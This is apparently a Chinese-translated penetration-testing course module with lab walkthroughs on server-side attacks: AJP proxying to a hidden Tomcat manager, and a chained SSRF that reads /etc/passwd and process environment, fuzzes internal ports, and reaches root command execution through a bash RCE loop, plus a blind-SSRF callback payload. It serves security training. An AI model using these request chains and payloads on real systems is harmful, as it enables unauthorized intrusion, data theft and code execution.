Introduction to Server-Side Attacks

服务器端攻击的目标是服务器提供的应用程序或服务,而客户端攻击的目的是攻击客户端。理解和识别这些差异对于渗透测试和bug赏金猎人来说是至关重要的。

一个很好的例子,应该有助于澄清服务器端攻击与客户端攻击之间的差异是Cross-Site Request Forgeries (CSRF)Server-side Request Forgeries (SSRF)。这两种攻击都涉及Web服务器以及服务器如何处理URL。然而,CSRF和SSRF有不同的目标和目的。

大致引用自Web应用程序简介模块中的跨站点请求伪造部分:

CSRF攻击可能利用其他客户端攻击(如XSS漏洞)向受害者已通过身份验证的Web应用程序执行请求。这允许攻击者以授权用户的身份执行操作,例如将其密码更改为攻击者可能知道的内容,或者以受害者的身份执行任何未经授权的操作。

从上述情况,我们应该可以推断出目标是客户。服务器端攻击的目标是实际的应用程序,目标是泄漏敏感数据或将未经授权的输入注入应用程序,甚至实现远程代码执行(RCE)。这种情况下的目标是后端服务。

Types of Server-Side Attacks

本模块将介绍不同类型的服务器端攻击以及如何利用它们。这些措施是:

  • Abusing Intermediary Applications:通过利用特定的公开二进制协议,防止内部应用程序无法从我们的网络访问。
  • Server-Side Request Forgery (SSRF):使宿主应用程序服务器向任意外部域或内部资源发出请求,以尝试识别敏感数据。
  • Server-Side Includes Injection (SSI):注入一个有效载荷,以便恶意的服务器端包含指令被解析,以实现远程代码执行或泄漏敏感数据。当未经充分验证的用户输入设法成为为服务器端Include指令分析的响应的一部分时,就会发生此漏洞。
  • Edge-Side Includes Injection (ESI):ESI是一种基于XML的标记语言,用于通过临时存储常规Web缓存协议无法保存的动态Web内容来解决性能问题。当攻击者设法在HTTP响应中反映恶意的ESI标记时,就会发生边缘侧包含注入。此漏洞的根本原因是HTTP代理无法验证ESI标记来源。他们将很乐意解析和评估上游服务器提供的合法ESI标记以及攻击者提供的恶意ESI标记。
  • Server-Side Template Injection (SSTI):模板引擎通过网页或电子邮件促进动态数据呈现。服务器端模板注入本质上是在模板中注入恶意的模板指令(有效负载),利用模板引擎将用户输入与给定模板不安全地混合在一起。
  • Extensible Stylesheet Language Transformations Server-Side Injection (XSLT):XML是一种基于XML的语言,通常用于将XML文档转换为HTML、另一个XML文档或PDF。可扩展样式表语言转换服务器端注入可能发生在可以上载任意XSL文件或应用程序使用来自用户的未经验证的输入动态生成XSL转换的XML文档时。

Abusing Intermediary Applications

Nginx Reverse Proxy & AJP

当我们遇到一个开放的AJP代理端口(8009 TCP)时,我们可以使用Nginx和ajp_module来访问“隐藏的”Tomcat管理器。这可以通过编译Nginx源代码并添加所需的模块来完成,如下所示:

  • 下载Nginx源代码
  • 下载所需模块
  • 使用ajp_module编译Nginx源代码。
  • 创建指向AJP端口的配置文件

下载Nginx源码

mikannse7@htb[/htb]$ wget https://nginx.org/download/nginx-1.21.3.tar.gz
mikannse7@htb[/htb]$ tar -xzvf nginx-1.21.3.tar.gz

使用ajp模块编译Nginx源代码

mikannse7@htb[/htb]$ git clone https://github.com/dvershinin/nginx_ajp_module.git
mikannse7@htb[/htb]$ cd nginx-1.21.3
mikannse7@htb[/htb]$ sudo apt install libpcre3-dev
mikannse7@htb[/htb]$ ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
mikannse7@htb[/htb]$ make
mikannse7@htb[/htb]$ sudo make install
mikannse7@htb[/htb]$ nginx -V

nginx version: nginx/1.21.3
built by gcc 10.2.1 20210110 (Debian 10.2.1-6)
configure arguments: --add-module=../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules

注意:在下面的配置中,我们使用端口8009,这是Tomcat的AJP默认端口,这是我们在真实的环境中使用它的方式。但是,要完成本节末尾的练习,您应该指定要生成的目标的IP和端口(它们都将在“Target:“旁边可见)。您将看到的端口实际上映射到底层Docker容器的端口8009。

注释掉整个server块,并将以下行附加到http中的/etc/nginx/conf/nginx.conf块中。

指向AJP端口

upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}

注意:如果您使用的是Pwnbox,那么端口80将已经在使用中,因此,在上述配置中将端口80更改为8080。最后,在下一步中,使用端口8080和cURL。

启动Nginx并通过向本地主机发出cURL请求来检查是否一切正常。

mikannse7@htb[/htb]$ sudo nginx
mikannse7@htb[/htb]$ curl http://127.0.0.1:80

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>

幸运的是,Apache为我们预编译了AJP模块。我们将需要安装它,虽然,因为它不来在默认安装。在我们的Apache服务器中配置AJP-Proxy可以如下完成:

  • 安装libapache 2-mod-jk包
  • 使得模块
  • 创建指向目标AJP-Proxy端口的配置文件

注意:如前所述,Pwnbox使用的是80端口,Apache也将其用作默认端口。你可以在“/etc/apache 2/ports.conf”中将Apache的默认端口更改为任何其他端口。如果你使用8080端口,别忘了提前用sudo nginx -s stop停止nginx。在下面的配置中,我们使用的是8009,这是Tomcat的默认AJP端口,这是我们在真实的环境中使用它的方式。但是,要完成上一节末尾的练习,这次使用Apache,您应该指定要生成的目标的IP和端口(它们都将在“Target:“旁边可见)。您将看到的端口实际上映射到底层Docker容器的端口8009。

所需的命令和配置文件如下:

mikannse7@htb[/htb]$ sudo apt install libapache2-mod-jk
mikannse7@htb[/htb]$ sudo a2enmod proxy_ajp
mikannse7@htb[/htb]$ sudo a2enmod proxy_http
mikannse7@htb[/htb]$ export TARGET="<TARGET_IP>"
mikannse7@htb[/htb]$ echo -n """<Proxy *>
Order allow,deny
Allow from all
</Proxy>
ProxyPass / ajp://$TARGET:8009/
ProxyPassReverse / ajp://$TARGET:8009/""" | sudo tee /etc/apache2/sites-available/ajp-proxy.conf
mikannse7@htb[/htb]$ sudo ln -s /etc/apache2/sites-available/ajp-proxy.conf /etc/apache2/sites-enabled/ajp-proxy.conf
mikannse7@htb[/htb]$ sudo systemctl start apache2

注意:下面的cURL命令是您通常使用的命令,因为Apache默认侦听端口80。请记住,您必须将端口80更改为您选择的另一个端口。因此,为了完成上一节的练习,下一步是在使用cURL时指定您选择的端口,例如“curl http://127.0.0.1:8080“。

Accessing the “hidden” Tomcat page

mikannse7@htb[/htb]$ curl http://127.0.0.1

<SNIP>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
</div>
<SNIP>

如果我们正确配置了所有内容,我们将能够使用cURL和Web浏览器访问Apache Tomcat管理器。

image

SSRF

服务器端请求伪造(SSRF)攻击,列在OWASP前10名中,允许我们滥用服务器功能来代表服务器执行内部或外部资源请求。为此,我们通常需要提供或修改目标应用程序用来读取或提交数据的URL。利用SSRF漏洞可能导致:

  • 与已知内部系统交互
  • 通过端口扫描发现内部服务
  • 泄露本地/敏感数据
  • 在目标应用程序中包括文件
  • 使用路径泄漏NetNTLM哈希(Windows)
  • 实现远程代码执行

我们通常可以在获取远程资源的应用程序中找到SSRF漏洞。在寻找SSRF漏洞时,我们应该寻找:

  • 请求的一部分,包括URL
  • 文件导入,如HTML、PDF、图像等。
  • 远程服务器连接以获取数据
  • API规范导入
  • 仪表板,包括ping和类似功能,用于检查服务器状态

注意:请始终记住,Web应用程序模糊测试应该是任何渗透测试或bug赏金狩猎活动的一部分。也就是说,模糊不应该仅限于用户输入字段。将模糊处理扩展到HTTP请求的各个部分,比如User-Agent。

SSRF Exploitation Example

让我们首先利用一个面向互联网的Web应用程序(目标可以在本节底部生成),然后通过链接多个SSRF漏洞来在内部主机上获得远程代码执行。攻击流程如下:

[PENTESTER] 🠖 [EXERCISE-TARGET]--[SSRF] 🠖 [INTERNAL-WEBSERVER]--[SSRF] 🠖 [LOCALHOST WEBAPP] 🠖 [RCE]

导航到本节的结尾并单击Click here to spawn the target system!,然后使用提供的Pwnbox或具有提供的VPN密钥的本地VM来沿着。

对主机的基本侦察显示只有三个开放端口。

Nmap - Discovering Open Ports Nmap

mikannse7@htb[/htb]$ nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>

Nmap scan report for <TARGET IP>
Host is up (0.00047s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds

让我们向目标服务器发出一个cURLrequest,使用参数-i显示协议响应头,使用参数-s使用静默模式。

Curl - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s http://<TARGET IP>

HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://<TARGET IP>/load?q=index.html
Server: Werkzeug/2.0.2 Python
Date: Mon, 18 Oct 2021 09:01:02 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/load?q=index.html">/load?q=index.html</a>. If not click the link.

我们可以看到请求重定向到/load?q=index.html,这意味着q参数获取资源index.html。让我们按照重定向,看看我们是否可以收集任何其他信息。

mikannse7@htb[/htb]$ curl -i -s -L http://<TARGET IP>

HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://<TARGET IP>/load?q=index.html
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 153
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT

<html>
<!-- ubuntu-web.lalaguna.local & internal.app.local load resources via q parameter -->
<body>
<h1>Bad App</h1>
<a>Hello World!</a>
</body>
</html>

派生的目标是ubuntu-web.lalaguna.localinternal.app.local是内部网络上的应用程序(从我们当前的位置无法访问)。

下一步是确认q参数是否易受SSRF攻击。如果是,我们可以利用SSRF漏洞访问内部的.app.local Web应用程序。我们说“可能”是因为ubuntu-web可能存在信任关系,能够与internal.app.local联系并进行交互。这种类型的关系可以是简单的防火墙规则(甚至没有任何防火墙规则)。

在一个终端中,让我们使用Netcat监听端口8080,如下所示。

Netcat Listener

mikannse7@htb[/htb]$ nc -nvlp 8080

listening on [any] 8080 ...

现在,让我们在另一个终端中使用http://<VPN/TUN Adapter IP>而不是index.html向目标Web应用程序发出请求,如下所示。<VPN/TUN Adapter IP>将是Pwnbox的TUN适配器IP或您可能正在使用的本地VM的TUN适配器IP(在使用提供的VPN密钥连接后)。

Curl - Testing for SSRF

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 0
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 12:07:10 GMT

我们将通过目标服务器使用Python-urllib发出的请求,在Netcat监听器中接收以下内容,以确认SSRF漏洞:

Netcat Listener - Confirming SSRF

Connection received on <TARGET IP> 49852
GET / HTTP/1.1
Accept-Encoding: identity
Host: <VPN/TUN Adapter IP>:8080
User-Agent: Python-urllib/3.8
Connection: close

阅读Python-urllib文档,我们可以看到它支持filehttpftp模式。因此,除了代表目标应用程序向其他服务发出HTTP请求外,我们还可以通过file模式读取本地文件,并使用ftp读取远程文件。

我们可以通过以下步骤测试此功能:

  1. 创建名为index.html的文件

Code:

<html>
</body>
<a>SSRF</a>
<body>
<html>
  1. 在index.html所在的目录中,使用以下命令启动HTTP服务器

Start Python HTTP Server

mikannse7@htb[/htb]$ python3 -m http.server 9090
  1. 在index.html所在的目录中,通过以下命令启动FTP服务器

Start FTP Server

mikannse7@htb[/htb]$ sudo pip3 install twisted
mikannse7@htb[/htb]$ sudo python3 -m twisted ftp -p 21 -r .
  1. 使用ftp模式通过目标应用程序重新编译index.html,如下所示

FTP Schema 通过目标应用程序检索远程文件- FTP架构

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:21:09 GMT

<html>
</body>
<a>SSRF</a>
<body>
<html>
  1. 使用ftp模式通过目标应用程序重新编译index.html,如下所示

通过目标应用程序检索远程文件- HTTP模式

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:26:18 GMT

<html>
</body>
<a>SSRF</a>
<body>
<html>
  1. 使用文件架构重新编译本地文件,如下所示

通过目标应用程序检索本地文件-文件架构

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd" 

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 926
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:27:17 GMT

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

请记住,获取远程HTML文件可能会导致反射XSS。

请记住,我们在目标服务器上只有两个开放端口。但是,内部应用程序可能只存在于本地主机上并进行侦听。我们可以使用ffuf这样的工具来枚举这些Web应用程序,方法是执行以下步骤:

  1. 生成包含所有可能端口的单词列表。

Generate a Wordlist

mikannse7@htb[/htb]$ for port in {1..65535};do echo $port >> ports.txt;done
  1. 向随机端口发出cURL请求,以获取对不存在的服务的请求的响应大小。

Curl - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 30
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:36:25 GMT

[Errno 111] Connection refused
  1. 对单词列表使用ffuf,并丢弃具有我们先前确定的大小的响应。

Port Fuzzing

mikannse7@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3
________________________________________________

:: Method : GET
:: URL : http://<TARGET IP>/load?q=http://127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 30
________________________________________________

80 [Status: 200, Size: 153, Words: 11, Lines: 8]
5000 [Status: 200, Size: 64, Words: 3, Lines: 1]
:: Progress: [65535/65535] :: Job [1/1] :: 577 req/sec :: Duration: [0:02:00] :: Errors: 0 ::

我们已收到端口5000的有效响应。让我们检查如下。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 64
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:47:16 GMT

<html><body><h1>Hey!</h1><a>Some internal app!</a></body></html>

到目前为止,我们已经学习了如何通过SSRF到达内部应用程序并使用不同的模式来加载本地文件。有了这些知识,让我们再次通过SSRF尝试攻击internal.app.local Web应用程序。我们的最终目标是在内部主机上实现远程代码执行。

首先,我们向之前发现的内部应用程序发出一个简单的cURL请求。记住我们发现的信息,两个应用程序以相同的方式加载资源(通过q参数)。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 83
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 13:51:15 GMT

<html>
<body>
<h1>Internal Web Application</h1>
<a>Hello World!</a>
</body>
</html>

现在,让我们发现任何在localhost中侦听的Web应用程序。让我们尝试向随机端口发出请求,以确定来自封闭端口的响应是什么样子的。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 97
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:52:32 GMT

<html><body><h1>Resource: http127.0.0.1:1</h1><a>unknown url type: http127.0.0.1</a></body></html>

我们收到了一条unknown url type错误消息。Web应用程序似乎正在从我们的请求中删除://。让我们尝试通过修改URL来克服这种情况。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 99
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:55:10 GMT

<html><body><h1>Resource: http://127.0.0.1:1</h1><a>[Errno 111] Connection refused</a></body></html>

在这种情况下,Web应用程序返回一些HTML呈现的内容,其中包含我们试图获取的资源。如果我们使用响应的大小作为过滤器,这个响应将影响我们的内部服务发现,因为它会根据端口而变化。幸运的是,ffuf支持正则表达式进行过滤。我们可以使用此ffuf功能来使用错误号过滤响应,如下所示。

Port Fuzzing

mikannse7@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'


/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3
________________________________________________

:: Method : GET
:: URL : http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Regexp: Errno[[:blank:]]111
________________________________________________

80 [Status: 200, Size: 153, Words: 5, Lines: 6]
5000 [Status: 200, Size: 123, Words: 3, Lines: 5]
:: Progress: [65535/65535] :: Job [1/1] :: 249 req/sec :: Duration: [0:04:06] :: Errors: 0 ::

我们发现另一个应用程序正在侦听端口5000。在这种情况下,应用程序会以文件列表进行响应。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 385
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:30:07 GMT

<html><body><h1>Resource: http://127.0.0.1:5000/</h1><a>total 24K
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 .
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 ..
-rw-r--r-- 1 root root 84 Oct 19 16:32 index.html
-rw-r--r-- 1 root root 1.2K Oct 19 16:32 internal.py
-rw-r--r-- 1 root root 691 Oct 19 20:29 internal_local.py
-rwxr-xr-x 1 root root 69 Oct 19 16:32 start.sh
</a></body></html>

让我们快速回顾一下我们所取得的成就:

  • 代表ubuntu-web向internal.app.local发出请求
  • 到达一个Web应用程序侦听端口5000内部的.app.local链接两个SSRF漏洞
  • 通过内部应用程序披露文件列表

现在,让我们揭开监听internal.app.local的Web应用程序的源代码,看看如何实现远程代码执行。

让我们发出一个请求来公开/proc/self/environ文件,其中当前路径应该存在于PWD环境变量下。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 584
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 16:52:20 GMT

<html><body><h1>Resource: file:///proc/self/environ</h1><a>HOSTNAME=18f236843662PYTHON_VERSION=3.8.12PWD=/appPORT=80PYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568SHLVL=0PYTHON_PIP_VERSION=21.2.4PYTHON_GET_PIP_SHA256=01249aa3e58ffb3e1686b7141b4e9aac4d398ef4ac3012ed9dff8dd9f685ffe0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d781367b97acf0ece7e9e304bf281e99b618bf10/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=/usr/local/bin/python3</a></body></html>

现在我们知道当前路径是/app,并且我们有一个有趣的文件列表。让我们公开internal_local.py文件如下。

通过目标应用程序检索本地文件-文件架构

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 771
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:40:28 GMT

<html><body><h1>Resource: file:///app/internal_local.py</h1><a>import os
from flask import *
import urllib
import subprocess

basedir = os.path.abspath(os.path.dirname(__file__))

app = Flask(__name__)

def run_command(command):
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = p.stdout.read()
stderr = p.stderr.read()
result = stdout.decode() + " " + stderr.decode()
return result

@app.route("/")
def index():
return run_command("ls -lha")

@app.route("/runme")
def runmewithargs():
command = request.args.get("x")
if command == "":
return "Use /runme?x=<CMD>"
return run_command(command)

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
</a></body></html>

通过研究上面的源代码,我们注意到一个功能,它允许我们在远程主机上执行命令,向/runme?x=<CMD>发送GET请求。让我们通过发送whoami作为命令来确认远程代码执行。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 93
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:48:32 GMT

<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=whoami</h1><a>root
</a></body></html>

我们可以在目标应用程序上的超级用户上下文下执行命令。但是,如果我们试图提交一个带有参数的命令,会发生什么呢?

mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a"

HTTP/1.0 400 Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1')
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 586

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1').</p>
<p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
</body>
</html>

要执行带有参数或特殊字符的命令,我们需要在通过三个不同的Web应用程序时对它们进行三次编码。

为此,您可以使用任何在线URL编码服务,如urlencoder.org。也存在从终端实现这一点的快速方法。这是使用jq,它支持如下编码:

Install JQ 安装JQ

mikannse7@htb[/htb]$ sudo apt-get install jq
mikannse7@htb[/htb]$ echo "encode me" | jq -sRr @uri
encode%20me%0A

我们现在可以创建一个bash函数来自动执行目标应用程序上的命令。

Automate executing commands

mikannse7@htb[/htb]$ function rce() {
function> while true; do
function while> echo -n "# "; read cmd
function while> ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
function while> curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
function while> echo ""
function while> done
function> }

现在我们需要调用函数并通过以下方式执行命令:

mikannse7@htb[/htb]$ rce
# uname -a; hostname; whoami

<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=uname%20-a%3B%20hostname%3B%20whoami
</h1><a>Linux a054d48cc0a4 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 GNU/Linux
a054d48cc0a4
root
</a></body></html>

Blind SSRF

服务器端请求伪造漏洞可能是“盲目的”。在这些情况下,即使请求被处理,我们也看不到后端服务器的响应。因此,SSRF盲漏洞更难以检测和利用。

我们可以通过带外技术检测SSRF盲漏洞,使服务器向我们控制下的外部服务发出请求。为了检测后端服务是否正在处理我们的请求,我们可以使用具有我们拥有的公共IP地址的服务器或以下服务:

Blind SSRF漏洞可能存在于PDF文档生成器和HTTP标头等位置。

Blind SSRF Exploitation Example

现在,让我们利用Web应用程序中的SSRF盲漏洞,该应用程序接收HTML文件并返回PDF文档。这个Web应用程序是我们可以在本节末尾的练习中生成的目标。

导航到本节的结尾并单击Click here to spawn the target system!,然后使用提供的Pwnbox或具有提供的VPN密钥的本地VM浏览目标应用程序并沿着。应用程序正在侦听端口8080。

image

如果我们上传各种HTML文件并检查响应,我们会注意到应用程序返回相同的响应,而不管提交文件的结构和内容如何。此外,我们无法观察到与前端处理提交的HTML文件相关的任何响应。我们是否应该得出结论,应用程序不容易受到SSRF的攻击?当然不是!我们应该在渗透测试期间进行彻底的测试,并寻找不同漏洞类别的盲目对应物。

image

让我们创建一个HTML文件,其中包含一个指向我们控制下的服务的链接,以测试应用程序是否容易受到SSRF盲漏洞的攻击。此服务可以是我们拥有的机器中托管的Web服务器、Burp Collaborator、Pingb.in URL等。请注意,我们在使用带外技术时可以使用的协议包括HTTP、DNS、FTP等。

Code:

<!DOCTYPE html>
<html>
<body>
<a>Hello World!</a>
<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>

